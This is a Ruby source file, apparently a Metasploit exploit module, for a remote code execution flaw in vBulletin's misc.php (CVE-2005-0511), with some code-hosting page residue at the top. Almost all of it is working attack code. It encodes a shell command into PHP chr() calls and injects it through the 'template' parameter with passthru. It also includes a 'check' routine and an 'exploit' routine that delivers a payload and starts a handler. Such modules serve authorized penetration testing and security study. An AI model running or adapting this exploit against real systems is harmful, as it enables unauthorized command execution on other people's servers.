107 lines
2.7 KiB
Ruby
107 lines
2.7 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Unix::Webapp::PhpvBulletinTemplateName < Msf::Exploit::Remote
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include Exploit::Remote::HttpClient
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# XXX This module needs an overhaul
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'vBulletin misc.php Template Name Arbitrary Code Execution',
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'Description' => %q{
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This module exploits an arbitrary PHP code execution flaw in
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the vBulletin web forum software. This vulnerability is only
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present when the "Add Template Name in HTML Comments" option
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is enabled. All versions of vBulletin prior to 3.0.7 are
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affected.
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},
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'Author' => [ 'str0ke <str0ke[at]milw0rm.com>', 'cazz' ],
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'License' => BSD_LICENSE,
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'Version' => '$Revision$',
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'References' => [
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[ 'BID', '12622'],
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[ 'OSVDB', '14047'],
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[ 'CVE', '2005-0511'],
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[ 'MIL', '81'],
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],
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'Privileged' => false,
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'Platform' => ['unix', 'solaris'],
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'Payload' => {
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'Space' => 512,
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'DisableNops' => true,
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'Keys' => ['cmd', 'cmd_bash'],
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},
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'Targets' => [ ['Automatic', { }], ],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Feb 25 2005'
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))
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register_options(
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[
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OptString.new('PATH', [ true, "Path to misc.php", '/forum/misc.php']),
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], self.class
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)
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deregister_options(
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'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.
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)
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end
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def go(command)
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wrapper = Rex::Text.rand_text_alphanumeric(rand(128)+32)
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command = "echo #{wrapper};#{command};echo #{wrapper};"
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encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.')
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res = send_request_cgi({
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'uri' => datastore['PATH'],
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'method' => 'GET',
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'vars_get' =>
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{
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'do' => "page",
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'template' => "{${passthru(#{encoded})}}"
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}
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}, 5)
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if (res and res.body)
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b = /#{wrapper}[\s\r\n]*(.*)[\s\r\n]*#{wrapper}/sm.match(res.body)
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if b
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return b.captures[0]
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elsif datastore['HTTP::chunked'] == true
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b = /chunked Transfer-Encoding forbidden/.match(res.body)
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if b
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raise RuntimeError, 'Target PHP installation does not support chunked encoding. Support for chunked encoded requests was added to PHP on 12/15/2005, try disabling HTTP::chunked and trying again.'
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end
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end
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end
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return nil
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end
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def check
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response = go("echo ownable")
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if (!response.nil? and response =~ /ownable/sm)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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response = go(payload.encoded)
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if response == nil
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print_status('exploit failed')
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else
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if response.length == 0
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print_status('exploit successful')
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else
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print_status("Command returned #{response}")
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end
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handler
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end
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end
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end
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end
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